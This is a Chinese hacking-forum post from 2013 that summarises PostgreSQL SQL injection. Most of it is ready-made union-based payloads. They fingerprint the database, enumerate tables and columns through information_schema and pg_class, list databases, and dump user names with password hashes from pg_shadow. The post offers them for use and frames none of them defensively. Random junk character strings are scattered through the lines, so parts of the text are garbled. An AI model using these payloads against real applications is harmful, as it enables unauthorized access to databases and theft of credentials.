找回密码
 立即注册
查看: 2665|回复: 0
打印 上一主题 下一主题

postgreSQL注入总结

[复制链接]
抢楼 抢楼 本帖为抢楼帖,欢迎抢楼! 
跳转到指定楼层
楼主
发表于 2013-10-13 12:57:16 | 只看该作者 回帖奖励 |阅读模式
结合了MSSQL MySQL Oracle的一些特点
) p8 f1 A1 h0 G2 Q/ Q' H+ N

支持多语句执行,语句可以没有from

postgres用户是超级用户(创始人账户) 只有superuser有copy权限

注释: — , /**/
% s4 B( w* o) t4 b连接符: %20 , + , /**/

内置函数:
  a0 ^9 o5 ^3 G' I# O  gcurrent_database() //当前数据库名
: [0 }# m, w7 Q+ u* ~0 Wsession_user //会话用户
6 Q- @- X5 j& p& g/ L$ ccurrent_user //当前数据库用户& D; k2 T. o. o4 V3 o; U3 T
user //当前用户# Y1 B0 ?' W) y% }( ~. L, w$ S
version() //数据库版本

Union注射:7 U- p1 C4 T+ ~, u6 k
order by n–8 a- y3 u  U5 ?& P: a. x$ Q
and 1=2 union select null,null,null–
1 g6 L1 |" s. e, Yand 1=2 union select ‘beach’,null,null–  n* K# t$ R& N2 U- A. e! f/ `. I
and 1=2 union select (select version()),null,null–

获取表名,字段名(新版本利用information_schema):
1 q  d$ q( b/ m8 p* t  A" `. Vgroup_concat(table_name)
2 Y' N) `* n5 \" aand 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–
: U; z$ z2 T" ?2 r* `& {$ `and 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–( b0 q/ t2 H  k; `0 j
(老版本)
3 W, x# f. f  j# a7 n( ?& Spg_class.oid对应pg_attribute.attrelid
6 A9 U6 N9 A  f9 T* X: H/ s2 v" R6 ypg_class.relname表名
. }0 Q. w' }# w; G& Hpg_attribute.attname字段名

select relname from pg_class获取表名
1 Z% |/ I* `" tselect oid from pg_class where 条件 获取参数" b9 Y0 N4 r  p; Z; \$ \
select attname from pg_attribute where attrelid=’oid的值’ 获取字段名

实战:, f+ c- P  V* c( U' i
and 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表) m# w; B  F0 v6 {. P
and 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–) C# q6 n2 x; }) m5 G
由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136

and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名' i9 _( ^" I0 Y' j3 [
======================================================================4 K5 k, ^, q  b2 m  o4 ]
and 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库2 e" i$ v7 B1 y' |- x3 m* b
and 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表